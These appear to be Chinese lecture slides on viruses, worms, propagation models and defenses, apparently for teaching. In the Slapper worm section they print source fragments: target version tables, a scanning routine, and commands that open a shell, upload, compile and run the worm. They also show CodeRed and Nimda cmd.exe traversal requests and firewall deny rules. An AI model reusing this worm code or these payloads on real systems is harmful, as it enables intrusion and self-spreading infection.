Upload
others
View
3
Download
0
Embed Size (px)
Citation preview
恶意移动代码
Malicious Mobile Code
提纲
一. 恶意移动代码
二. 计算机病毒技术分析
三. 网络蠕虫及传播模型
四. 恶意代码分析与防御
恶意移动代码(MMC)
q恶意移动代码(Malicious Mobile Code)是一段计算机程序,能够在计算机或网络之间传播,未经授权、故意修改计算机系统。•代码(Code)•移动(Mobile)•恶意(Malicious)
病毒、蠕虫与木马的比较
需要不需要需要宿主
留下后门,窃取信息
侵占资源破坏数据完整性、系统完整性
主要危害
慢极快快传播速度
依靠用户主动传播
自主传播依赖宿主文件或介质
传播方式
伪装成其他文件独立的文件不以文件形式存在表现形式
木马蠕虫病毒特性
最常见的MMC
q其他可执行的内容• Macro • Java Applet• ActiveX• Java Scripts• VB Scripts
q Logic Bombq Spammer Programs q Flooders q Keyloggersq Rootkits
各种恶意移动代码的融合趋势
q计算机网络的普及,文件共享
q电子邮件应用
q黑客攻击的手段(利用系统漏洞)
q社会工程(social engineering )
qCode Red 和 Nimda
一、计算机病毒技术分析
1. 计算机病毒的产生
2. 病毒感染技术
3. 病毒的自保护技术
Core War: The Fighting Programs
qNational Security Agency (NSA) chief scientist Robert Morris
qRedCode/PDP-1qDarwin, Core WarqSimplest program:
• MOV 0,1
计算机病毒的定义
q多种定义方式• 计算机病毒是一个指令序列,它能够把自身的拷贝插入到其他宿主程序中;
• 计算机病毒是隐藏在计算机系统的数据资源中,利用系统数据资源进行繁殖并生存,并能影响计算机系统正常运行的并通过系统数据共享进行传染的程序。
• 我国《中华人民共和国计算机信息系统安全保护条例》第二十八条:“计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。“
• 1997年,刑法中增加相关内容,制造病毒并造成严重破坏的,属于犯罪行为。
计算机病毒的分类
q按攻击平台分类:DOS,Win32,MAC,Unixq按危害分类:良性、恶性
q按代码形式:源码、中间代码、目标码
q按宿主分类:
• 引导型v主引导区
v操作系统引导区
• 文件型v操作系统
v应用程序
v宏病毒
引导型病毒—引导记录
q主引导记录(MBR)
55AA
主引导程序(446字节)
分区1(16 字节)主分区表(64字节) 分区2(16 字节)
分区3(16 字节)分区4(16 字节)结束标记
(2字节)
引导代码及出错信息
A
引导型病毒—感染与执行过程
系统引导区引导正常执行
病毒
病毒执行
病毒驻留
带毒执行。。。
。
。
病毒
引导系统
病毒体
。
。。
如果病毒文件太大。。。
病毒的激活过程
空闲区
。
内存空间
int8int21
int2Fint4A时钟中断处理DOS中断处理外设处理中断
实时时种警报中断
空闲区带病毒程序空闲区空闲区正常程序
病 毒
int8
int8
。
int8 。int8int8 int8int8int8int8int8int8int8
int8
。
int8
int8
空闲区正常程序 正常程序。 正常程序正常程序
int8
是26日?
是,破坏!int8
文件型病毒—文件结构
q .COM文件 .EXE 文件
PSP Header (256 bytes)
Code, Data, StackSegment(s)
(64K Bytes)
代码、数据、堆栈在通一段中
在内存中的.COM是磁盘文件的镜像
PSP Header (512 bytes)Code Segment(s)
(64K )Data Segment(s)
(64K )Stack Segment(s)
(64K )
正常
程序正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头
正常
程序
程序头正常
程序
程序头正常
程序
程序头正常
程序
程序头正常
程序
程序头
程序头程序头程序头程序头程序头程序头程序头程序头程序头程序头程序头程序头程序头程序头程序头
程序头
病毒程序头
程序头
病毒程序头
程序头
病毒程序头
程序头
病毒程序头
程序头
病毒程序头
程序头
病毒程序头
程序头
病毒程序头
程序头
病毒程序头
程序头
病毒程序头
程序头
病毒程序头
程序头
病毒程序头
程序头
病毒程序头
程序头
病毒程序
程序头
病毒程序
程序头
病毒程序
程序头
病毒程序
程序头
病毒程序
程序头
病毒程序病毒程序病毒程序病毒程序
正常
程序
程序头程序头
文件型病毒感染机理
PE(Portable Executable )文件
This program cannot run in DOS mode
代码段:.text
Section table
qpedump
文件感染技术
Overwriting Viruses Appending Viruses
prepender virus classic parasitic virus
文件感染技术
Cavity virus compressor virus
142F:0D80 41 41 41 41 41 41 41 41- 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 142F:0D90 41 41 41 41 41 2E FD 16-2E F9 FB 36 E9 77 FD 41 AAAAA......6.w.A 142F:0DA0 41 41 41 41 41 41 41 41- 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 142F:0DB0 41 41 41 41 41 41 41 41- 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 142F:0DC0 41 41 41 41 41 41 41 41- 41 3E 2E BB 88 14 2E F9 AAAAAAAAA>...... 142F:0DD0 EB 9B 41 41 41 41 41 41 -41 41 41 41 41 41 41 41 ..AAAAAAAAAAAAAA
Goat 文件
宏病毒(Macro Virus)
q历史:• 1980年,Dr. Fredrick Cohen and Ralf Burger 论文• 1994年,Microsoft Word 第一例宏病毒• 不只是Word有宏病毒:Word, Excel, Access, PowerPoint,
Project, Lotus AmiPro, Visio, Lotus 1-2-3, AutoCAD, Corel Draw.
• 使用数据文件进行传播,使得反病毒软件不再只关注可执行文件和引导区
• DOE ViRT统计,85%的病毒感染归因于宏病毒• 易于编写,只需要一两天的时间,10-15行代码• 大量的用户:90 Million MS Office Users• 人们通常不交换程序,而交换数据
宏病毒工作机理
有毒文件.doc Normal.dot
激活autoopen宏 写入
无毒文件.doc Normal.dot
启动激活病毒
电子邮件病毒
q感染途径• 邮件附件:PIF,VBS, SCR, EXE, BAT, • HTML邮件中的链接• 系统漏洞,如Nimda所利用的MIME漏洞
http://www.microsoft.com/technet/security/bulletin/MS01-020.mspx
q传播方式• 搜索邮件地址簿、临时文件中的Email地址• 自带MTA,不需要通过Email服务器
q欺骗手段• 来自你可信的朋友、同事• 来自微软或安全公司• 好玩的游戏、屏幕保护、图片等• 退信、回复
第一代病毒扫描
q简单的模式匹配扫描
•例如,香港病毒存在以下代码POP AXJMP F000∶AF1APUSHF
• 1F 58 EA 1A AF 00 F0 9Cq通配符(wildcard)
• 0400 B801 020E 07BB ??02 %3 33C9 8BD1 419C
q文件长度匹配
病毒的自保护技术
q反反汇编(Antidisassembly)q多态病毒(Polymorphic Viruses )q变形病毒(Metamorphic Viruses)q反跟踪(Antidebugging)q抗启发式检测(Antiheuristics)q抗仿真(Antiemulation)q抗替罪羊(Antigoat)
反反汇编(Antidisassembly)
q数据压缩
q数据加密• Fix2001
q干扰代码花指令
MOV CX, 100h ; this many bytesMOV AH, 40h ; to writeINT 21h ; use main DOS handler
MOV CX,003Fh ; CX=003FhINC CX ; CX=CX+1 (CX=0040h)XCHG CH,CL ; swap CH and CL (CX=4000h)XCHG AX,CX ; swap AX and CX (AX=4000h)MOV CX,0100h ; CX=100hINT 21h
多态病毒(Polymorphic Viruses )
q在解密引擎(Engine)中插入大量的垃圾指令
变形病毒(Metamorphic Viruses)
q“变形(metamorphic)是病毒体的多态”
q变形(metamorphic)病毒没有解密引擎,也没有不变的病毒体,但是却有能力制造看起来完全不同的病毒副本
简单的变形技术
q置换寄存器
简单的变形技术
q置换子程序• BdyBoy病毒有8个子程序,因此有8!=40320个不同的病毒式样。
• W32/Ghost有10个子程序,因此有10!=3628800个不同的组合。
更复杂的变形和置换
q指令级置换
反跟踪
q接管 INT 1 (单步中断)和INT 3(断点中断)q接管INT9 中断,让键盘失灵q在代码执行过程中检测堆栈状态
q在WIN32环境下使用API函数IsDebuggerPresent() q查找注册表检测调试工具
MOV BP,SP ; 获取堆栈指针PUSH AX ; 将AX的数据保存的堆栈中POP AX ; 从堆栈中取出刚刚保存的数据CMP WORD PTR [BP-2], AX ; 和堆栈中的数据进行比较JNE DEBUG ; 检测到有调试器!
启发式(Heuristic)检测技术
q启发式指运用某种经验或知识去判定未知事物的方法
q静态启发式检测:检查文件结构的异常变化• DOS
EXAMPLE1. COM 12345 01-01-1995 12:02:62EXAMPLE2. COM 12345 01-01-2095 12:01:36
• Windows PE 文件结构分析E.g pedump calc.exe
qPEDUMP
q病毒抗静态
代码仿真/模拟(Code Emulation )
q在构造的虚拟机里模拟运行病毒代码
q对付加密病毒、多态病毒比较有效
typedef struct{ byte ah,al,bh,bl,ch,cl,dh,dl;
word si,di,sp,bp,cs,ds,es,ss,ip;} Emulator_Registers_t;
typedef struct{ byte c,z,p,s,o,d,i,t,a;
} Emulator_Flags_t;
代码仿真技术检测多态病毒
q软件模拟执行病毒的解密引擎
q总是存在一个时刻,可以拿到解密后的完整病毒体
q由于完全解密时间太长,可以部分解密
动态启发式(Heuristic)检测q模拟病毒执行过程,检查异常的动作
F=具有可疑的文件操作或能。有可疑进行感染的操作。A=可疑的内存分配操作。程序使用可疑的方式进行内存申请和分配操作。N=错误的文件扩展名。扩展名预期程序结构与当前程序相矛盾。S=包含搜索定位可执行程序(如EXE或COM)的例程。#=发现解码指令例程。这在病毒和加密程序中都是经常会出现的。L=程序截获其它软件的加载和装入。有可能是病毒为了感染被加载程序。D=直接写盘动作。程序不通过常规的DOS功能调用而进行直接写盘动作。M=内存驻留程序。该程序被设计成具有驻留内存的能力。J=可疑的跳转结构。使用了连续的或间接跳转指令。?=不相配的EXE文件。可能是病毒,也可能是程序设计失误导致。U=未公开的中断/DOS功能调用。O=发现用于在内存在搬移或改写程序的代码序列。Z= EXE/COM辨认程序。病毒为了实现感染过程通常需要进行此项操作。B=这回程序入口。…K=非正常堆栈。程序含有可疑的或名其妙的堆栈。
Jerusalum/PLO(耶路撒冷病毒) FRLMUZ Backfont/ 后体病毒 FRALDMUZK Tolbuhin ASEDMUOB Yankee-Doodle FN#ELMUZB
特定算法扫描:专杀工具
q有些病毒很难用简单的特征来描述,通用杀毒引擎+特征码很难检测、清除
q特定的算法:专杀工具
提纲
一. 恶意移动代码
二. 计算机病毒技术分析
三. 网络蠕虫及传播模型
四. 恶意代码分析与防御
二、网络蠕虫
q蠕虫的历史及案例
q蠕虫的结构和工作机理
q蠕虫的传播模型
q蠕虫的扫描策略
q蠕虫的防范技术
什么是蠕虫?
q美国传统词典• A program that replicates itself and
interferes with software function or destroys stored information.
q一种能够自我复制的计算机程序,它利用网络上计算机系统的漏洞自主的将自己复制到其它计算机上
蠕虫(Worm)
q一个独立的计算机程序,不需要宿主
q自我复制,自主传播(Mobile)q占用系统或网络资源、破坏其他程序
q不伪装成其他程序,靠自主传播
•利用系统漏洞;•利用电子邮件(无需用户参与)
蠕虫的历史回顾
q Xerox PRAC, 1980年q Morris Worm, 1988年11月2日q WANK Worm,1989年10月16日q ADM Worm, 1998年5月q Millennium, 1999年9月q Ramen Worm,2001年1月q Lion Worm, 2001年3月23日q Adore Worm, 2001年4月3日q Cheese Worm,2001年5月
qSadmind/IIS Worm,2001年5月qCodeRed Worm, 2001年7月19日/8月4日qNimda Worm, 2001年9月18日qSlapper蠕虫 2002年9月14日qSlammer, 2003年1月25日qDvldr32, 2003年3月7日qBlaster, 2003年8月12日qNachi, 2003年8月18日
蠕虫的一般结构
q目标选择和定位模块
q感染传播模块
q远程控制模块
q更新接口
q生命周期管理
q载荷例程(payload routine)
目标选择和定位
q寻找Email地址•地址簿:W97M/Melissa@mm•解析文件:W32/Mydoom@mm :HTM, SHT,
PHP, ASP, DBX, TBB, ADB, PL, WAB, 和 TXT
q网络共享
•发现共享的网络资源,甚至包括打印机•空口令、弱口令、口令破解
目标选择和定位
q网络扫描和指纹分析• 顺序递增扫描•随机扫描•预置Hitlist,如概念蠕虫Warhol •选择扫描,如Code Red2, Nachi(Welchia )
传播与繁殖
q利用系统漏洞:exploitq利用其他攻击留下的后门
• W32/Borm 利用Backorifice• Nimda利用Code Red的后门
CodeRed II留下的Web 日志2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir 200 –2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+..\ 200 –
Nimda攻击形式http://x.x.x.x/c/inetpub/scripts/root.exe?/c+dirhttp://x.x.x.x/c/winnt/system32/cmd.exe?/c+dir
传播与繁殖
q利用P2P的文件共享q利用电子邮件传播
q插入E-Mail附件qSMTP 代理
蠕虫代码的传输
q邮件附件• 来自你可信的朋友、同事• 来自微软或安全公司,技术支持• 好玩的游戏、屏幕保护、图片等• 退信、回复
q邮件中的链接q下载:
• Web , FTP• P2P
q代码注入• Perl/Santy: 利用google搜索,通过Web界面注入• Code Red
蠕虫的更新
qWeb 和NNTPqP2P PullqP2P Push/后门
Tendoolf
实例:Slapper Worm
q参考:
http://archives.neohapsis.com/archives/bugtraq/2002-09/0171.html
Target Selection
qPlatform• Linux• Web Server, Apache
qVulnerability• OpenSSL
qLanguages• Interpreted : Perl, python, VBScript• Compiled: C/C++,
q Scanning Techniques
q Payload delivery mechanism• Centralized, download• From parent to child node, or C download from p• Small
q Installation on the target host• Hide worm process• Boot script / system registry/ boot loader
v Slapper lacks of the required privileges
q Establishing the worm network
Platformq struct archs {
char *os; char *apache; int func_addr;
} architectures[] = { {"Gentoo", "", 0x08086c34}, {"Debian", "1.3.26", 0x080863cc}, {"Red-Hat", "1.3.6", 0x080707ec}, {"Red-Hat", "1.3.9", 0x0808ccc4}, {"Red-Hat", "1.3.12", 0x0808f614}, {"Red-Hat", "1.3.12", 0x0809251c}, {"Red-Hat", "1.3.19", 0x0809af8c}, {"Red-Hat", "1.3.20", 0x080994d4}, {"Red-Hat", "1.3.26", 0x08161c14}, {"Red-Hat", "1.3.23", 0x0808528c}, {"Red-Hat", "1.3.22", 0x0808400c}, {"SuSE", "1.3.12", 0x0809f54c}, {"SuSE", "1.3.17", 0x08099984}, {"SuSE", "1.3.19", 0x08099ec8}, {"SuSE", "1.3.20", 0x08099da8}, {"SuSE", "1.3.23", 0x08086168}, {"SuSE", "1.3.23", 0x080861c8}, {"Mandrake", "1.3.14", 0x0809d6c4}, {"Mandrake", "1.3.19", 0x0809ea98}, {"Mandrake", "1.3.20", 0x0809e97c}, {"Mandrake", "1.3.23", 0x08086580}, {"Slackware", "1.3.26", 0x083d37fc}, {"Slackware", "1.3.26",0x080b2100}
};
Scanning Scope
q unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,
46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138,
139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,
168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,
230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };
q a= classes[rand()%(sizeof classes)]; b=rand(); c=0; d=0;
alarm(3600); if ((a=GetAddress(ip)) == NULL) exit(0); if (strncmp(a,"Apache",6)) exit(0); for (i=0;i<MAX_ARCH;i++) {
if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
arch=i; break;
} } if (arch == -1) arch=9;
Vulnerability Testq char *GetAddress(char *ip) {
struct sockaddr_in sin; fd_set fds; int n,d,sock; char buf[1024]; struct timeval tv; sock = socket(PF_INET, SOCK_STREAM, 0); sin.sin_family = PF_INET; sin.sin_addr.s_addr = inet_addr(ip); sin.sin_port = htons(80); if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL; write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n")); tv.tv_sec = 15; tv.tv_usec = 0; FD_ZERO(&fds); FD_SET(sock, &fds); memset(buf, 0, sizeof(buf)); if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
if(FD_ISSET(sock, &fds)) { if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL; for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) {
char *start=buf+d+strlen("Server: "); for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0; cleanup(start); return strdup(start);
} }
} return NULL;
}
HTTP/1.1 400 Bad RequestDate: Sat, 20 Nov 2004 15:43:22 GMTServer: Apache/1.3.29 (Unix) mod_ssl/2.8.16
OpenSSL/0.9.7cConnection: closeContent-Type: text/html; charset=iso-8859-1
Installation
alarm(3600); writem(sockfd,"TERM=xterm; export TERM=xterm;
exec bash -i\n"); writem(sockfd,"rm -rf /tmp/.bugtraq.c;cat >
/tmp/.uubugtraq << __eof__;\n"); encode(sockfd); writem(sockfd,"__eof__\n"); conv(localip,256,myip); memset(rcv,0,1024); sprintf(rcv,"/usr/bin/uudecode -o /tmp/.bugtraq.c
/tmp/.uubugtraq;gcc -o /tmp/.bugtraq /tmp/.bugtraq.c -lcrypto;/tmp/.bugtraq %s;exit;\n",localip);
writem(sockfd,rcv);
病毒和蠕虫的交互:合作
病毒和蠕虫的交互:竞争
蠕虫的传播模型
qSimple Epidemic 模型qKermack-Mckendrick模型,SIRqTwo-Factor 模型qSusceptible-Worm-Antiworm-Recover (SIAR)
Simple Epidemic Model
InfectiousI
SusceptibleScontact
# of contacts ∝ I × S
Simple epidemic model for fixed population homogeneous system:
0 100 200 300 400 500 6000
0.5
1
1.5
2
2.5
3
3.5x 105
I(t)
susceptible
infectious
: # of susceptible : # of hosts
: # of infectious : infection ability
t
Simple Epidemic 模型的理论和实测结果主机感染的百分率
时间
SEM模型中的传播趋势
20 40 60 80 100 120 140
0.1
0.2
0.3
0.4
0.5
0.6
0.7
0.8
0.9
1.0
1.1
0.0
0 160
主机感染率
Code Red I 前期实测结果
Kermack-McKendrick Model (SIR)
q State transition:
: # of removed from infectious : removal rate
susceptible infectious removed
0 10 20 30 40
1
2
3
4
5
6
7
8
9
10 x 105
γ=0γ=βN/16γ=βN/4γ=βN/2
t
SIR模型的计算结果和实测结果
Internet Worm Spreading Trend, SIR Model
Time
2000 4000 6000 8000
Num
ber o
f Nod
es
0
2000
4000
6000
8000
10000
12000
Infected nodesTotal nodes in network
CCERT 实测结果-Web服务器Log 分析
Two-Factor Worm Model—Consider Human Countermeasures
qFactor #1: Human countermeasures•Clean and patch: download cleaning program, patches.•Filter: put filters on firewalls, gateways.•Disconnect computers.
•Reasons for:v Suppress most new viruses/worms from outbreak. v Eliminate virulent viruses/worms eventually.
•Removal of both susceptible and infectious hosts.
susceptible
infectious
removed
Two-Factor Worm Model—Consider Human Countermeasures
q Factor #2: Network congestion•Large amount of scan traffic.•Most scan packets with unused IP addresses ( 30% BGP routable)•Effect: slowing down of worm infection ability
q Two-factor worm model (extended from KM model):• : Slowed down infection ability due to congestion• : removal from susceptible hosts. :from infectious
Verification of the Two-Factor Worm Model
q Conclusion: •Simple epidemic model overestimates a worm’s propagation•At beginning, however, we can ignore these two factors.
12:00 14:00 16:00 18:00 20:00 22:00 24:000
2
4
6
8
10
12 x 104
UTC hours (July 19 - 20)
I(t)
Observed DataTwo-factor model
SQL Slammer *
* Figure from:D. Moore, V. Paxson, S. Savage, C. Shannon, S. Staniford, N. Weaver,“Inside the Slammer Worm”, IEEE Security & Privacy, July 2003.
Code Red
Summary of Two-Factor Model
q Modeling Principle:•We must consider the changing environment when we model a
dynamic process.
q Two factors affecting worm propagation:•Human countermeasures (slow worm).•Worm’s impact on Internet infrastructure (fast worm).
q At the early stage of worm propagation, we can ignore these two factors.•Still use simple epidemic model.
Routing Worm: A Fast, Selective Attack Worm based on IP Address Information
Cliff C. Zou, Don Towsley, Weibo Gong, Songlin Cai
Univ. Massachusetts, Amherst
Routing Worm Summary
q Routing worm: contains information of BGP routing prefixes in the worm code.
qA faster spreading worm•Internet routable IP space < 30% of entire IPv4 space.•Scanning routable space instead of entire IPv4 space.•Increasing propagation speed by 2 ~ 3.5 times.
qA selective attack worm•IP address → routing prefix → AS → ISP, country
v Pinpoint attacking vulnerable hosts in a specific target•Selective attack based on any information derived from
compromised hosts.
BGP Routing Table Introduction
qBGP (Border Gateway Protocol)•Inter-autonomous system routing protocol.
q Backbone BGP routers contain all routable prefixes (without default route)
11/97 11/98 11/99 11/00 11/01 11/02 09/03
22%
24%
26%
28%
30%
Time (1997 ~ 2003)
Per
cent
age
n Routable IPv4 space increases slowly§ NAT§ CIDR§ DHCP
BGP Routing Worm
qContains BGP non-overlapping prefixes:•Non-overlapping prefixes:
vRemove “128.119.85/24” if BGP contains “128.119/16”.
•140602 prefixes → 62053 prefixes (Sept. 22, 2003)qPayload requirement: 175KB•Big payload for Internet-scale worm propagation.
q Increasing worm’s speed by 3.5 times.•Scanning space is 28.6% of entire IPv4 space.
Class A Routing Worm
q IANA provides Class A address allocations•Class A (x.0.0.0/8); 256 Class A in IPv4 space.
q116 Class A contain all BGP routable space.•Scanning space: 45.3%; payload: 116 Bytes.
002/8 : IANA - Reserved003/8 : General Electric Company056/8 : U.S. Postal Service214/8 : US-DOD216/8 : ARIN 217/8 : RIPE NCC 224/8 : IANA - Multicast
Routing Worm based on Aggregated BGP Prefixes
qTwo extreme cases of routing worms:•BGP routing worm: all prefixes in BGP•Class A routing worm: only “/8” prefixes
qRouting worm based on aggregated prefixes• “/n” aggregation: combine several longer prefixes
into a shorter “/n” prefix.v “128.119.5/24” + “128.119.2/24” ⇒ “128.119/16” or “128.119.0/19”v Class A prefixes are results of “/8” aggregation.
Routing Worm based on Aggregated BGP Prefixes
qFlexible trade-off between:•Scanning space ↔ Prefix payload
0
5KB
10KB
15KB
20KB
25KB
"/n" Aggregation
Wor
m P
refix
Pay
load
8 9 10 11 12 13 14 15 1625%
30%
35%
40%
45%
50%
Per
cent
age
of S
cann
ing
Spa
ce
W orm Prefix Payload
Percentage of Scanning Space
30% 34% 38% 42% 46%
5KB
10KB
15KB
20KB
25KB
Percentage of Scanning Space
Wor
m P
refix
Pay
load
“/n” aggregation (n=8~16) Payload vs. Scanning space trade-off
Routing Worm Propagation Study
: # of vulnerable : Scan rate : Scanning space
where
0 100 200 300 400 500 600 7000
0.5
1
1.5
2
2.5
3
3.5
4 x 105
Time t (minute)
Num
ber o
f inf
ecte
d ho
sts
BGP routing wormClass A routing wormTraditional worm
0 100 200 300 4000
0.5
1
1.5
2
2.5
3
3.5
4 x 105
Time t (minute)
BGP routing wormClass A routing wormHit-list worm
0 100 200 300 400 500 6000
0.5
1
1.5
2
2.5
3
3.5
4 x 105
Time t (minute)
Hitlist routing wormHitlist wormTraditional worm
N=360,000; η=358 scans/min; I(0)=10 ( 10,000 for a hit-list worm )
Comparison of the Code Red worm, a routing worm, a hit-list worm, a hit-list routing worm
Routing Worm: A Selective Attack Worm
qSelective Attack: worm has different behaviors on different compromised hosts.
q Routing worm: imposes damage based on geographical information of IP addresses of compromised hosts
qGeographical information of IP addresses•IP address → Routing prefix → AS
AS → Company, ISP, Country•Pinpoint attacking vulnerable hosts in a specific target•Potential terrorist’s attack
⇐ BGP routing table
⇐ Researches
Selective Attack: a Generic Attacking Technique
qSelective attack: imposes damage based on anyinformation a worm can get from compromised hosts•OS (e.g. : illegal OS, language, time zone )•Software (e.g. : installed a specific program) •Hardware ( e.g. : CPU, memory, network card)
q Selective attack: improving propagation speed•Maximize infectious power of each compromised host.
vMulti-thread worm: generates different numbers of threads on differentcomputers based on CPU, memory, and connection speed.
Defense: Upgrading IPv4 to IPv6
qRouting worm: Reducing worm scanning space
•Effective, easier than hit-list worm to implement•Difficult to prevent:
vpublic BGP tables and IP geographical information
q Defense: Increasing worm scanning space
Upgrading IPv4 to IPv6•The smallest network in IPv6 has 264 IP address space.•A worm needs 40 years to infect 50% of vulnerable hosts in a
network when N=1,000,000, η=100,000/sec, I(0)=1000
•Limitation: for scan-based worms only
蠕虫病毒
IPv4 的Internet ,Slammer 蠕虫,10分钟后,感染了大多数有漏洞的计算机
IPv6 的Internet ,
28年后,感染第一台主机
恶意代码的动态分析
q文件变动监控
q基于替罪羊文件的监控
q注册表变动监控
q进程和线程的监控
q网络端口监控
q网络监听和捕获
q系统调用跟踪
q调试
q代码仿真
蠕虫的防范
q预防:打补丁
q检测:蠕虫
q控制:阻断、
qAnti-Worm
The Good time to control the worm…
VulnerabilityExposure
Exploit code
Worm released controled vanished
Shorter and shorter L Harder and harder… L
qThe time between exposure of vulnerabilities and release of worms is becoming shorter.
PreventionBest Time
DetectionGood Time
ControlToo Late
DetectionLate
Prevention
q个人主机• Patch• Host Firewall• Antivirus• Partitioned privileges• Disable Unneeded services
Detection
q Traffic analysis
Detection
qHoneypots and Dark Network• tcpdump• Honeyd• References:
vhttp://www.citi.umich.edu/u/provos/honeydvhttp://www.honeynet.org
qSignature Based Detection
Network defense
qFirewall , Router, e.g.• Access list 100 deny icmp any any fragments• Access list 100 deny udp any any 1434
• Content filteringv*.ida , cmd.exe , root.exe
Anti-worm
q 2001年5月,Max Vision因为在针对ADM蠕虫编写的对抗蠕虫中设置了后门被捕入狱[61]
q Cheese蠕虫对抗Li0n蠕虫,造成网络瘫痪;q针对CodeRed蠕虫的对抗蠕虫CodeGreen[25]和
CRClean[26]的代码也曾经被公布过,但最后它们没有实际的被释放到网络中。
q Nachi蠕虫只用了4小时消灭“冲击波”蠕虫(W32.Blaster),但同时造成长期网络瘫痪;
常用的防病毒软件
手动建立病毒分析环境
q虚拟机 : VMWare, Virtual PCq恢复工具: Ghostq监测工具,如IceSword
•进程•网络连接•文件•注册表等信息
q脱壳工具
安全上网的习惯
q补丁
q帐号管理
q防火墙
q防病毒软件
q移动介质
q不随便下载并运行来历不明的软件
q邮件附件
q即时聊天IRCq备份